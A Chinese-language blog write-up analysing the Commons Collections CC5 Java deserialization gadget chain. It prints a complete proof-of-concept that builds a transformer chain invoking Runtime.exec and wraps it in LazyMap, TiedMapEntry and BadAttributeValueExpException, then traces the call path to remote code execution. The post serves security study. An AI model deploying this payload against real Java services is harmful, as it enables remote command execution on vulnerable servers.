赞
踩
上次搞完CC1链之后,大佬说CC5链和CC1比较像,而且也比较单纯,比CC1好分析很多,于是就来看CC5了。
在jdk1.8中CC1的Annotationinvocation的readObject方法被改写了,于是诞生了CC5。CC5同样也是针对CommonsCollections3.1到3.2.1,jdk1.7到1.8。
CC5后半段与CC1完全相同,恶意对象反序列化在BadAttributeValueExpException类进入,然后经过TiedMapEntry类之后到达LazyMap的get方法。看过CC1链的都知道LazyMap的get方法能够直接执行ChainedTransformer的transform了,后面就是那条执行命令的链。
首先把POC摆出来,从POC分析下去。
public BadAttributeValueExpException getObject(final String command) throws Exception { final String[] execArgs = new String[] { command }; // inert chain for setup final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1) }); // real chain for after setup final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, execArgs), new ConstantTransformer(1) }; final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); BadAttributeValueExpException val = new BadAttributeValueExpException(null); Field valfield = val.getClass().getDeclaredField("val"); Reflections.setAccessible(valfield); valfield.set(val, entry); Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain return val; }
LazyMap以上的部分都与CC1相同。接下来就分析一下后半段Poc。
在POC中,用LazyMap实例化了TiedMapEntry类。进去看看。主要是寻找有可能调用到LazyMap的get方法的地方。还非常的明显,就一个地方用到了get,就是这个getValue方法,this.map可控。
但是意外的是该类中还有别的方法调用到了这个getValue。三个方法都用到了getValue。
这意味着外部只需要调用其中一个就会执行到getValue,从而执行到LazyMap的get方法。
POC继续往下面看,创建了一个BadAttributeValueExpException对象,并且传入entry(上文中的TiedMapEntry对象)到他的成员变量val中。
跟进类中看看。类中实现了readObject方法,可以用来反序列化,而且在反序列化的时候,将val的值放入valObj中(entry),然后判断如果valObj是Long、Interger、Float、Double、Byte、Short、布尔或者System.getSecurityManager() 为空的话,我们就能执行valObj.toString。
很明显,valObj怎么会是这些数字类型的对象呢?那么我们就要满足System.getSecurityManager() ==null。
于是我试了JDK1.7和1.8,发现这个参数的默认值都是null,意味着1.7和1.8版本都需要手动开启这个安全模式,否则就会被CC5攻击。到这里就结束了。
BadAttributeValueExpException.readObject() --> TiedMapEntry.toString() --> TiedMapEntry.getValue() --> LazyMap.get() --> ChainedTransformer.transform() --> RCE!!!
CC1分析过之后分析CC5真的是舒服多了,希望各位师傅多多指点。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。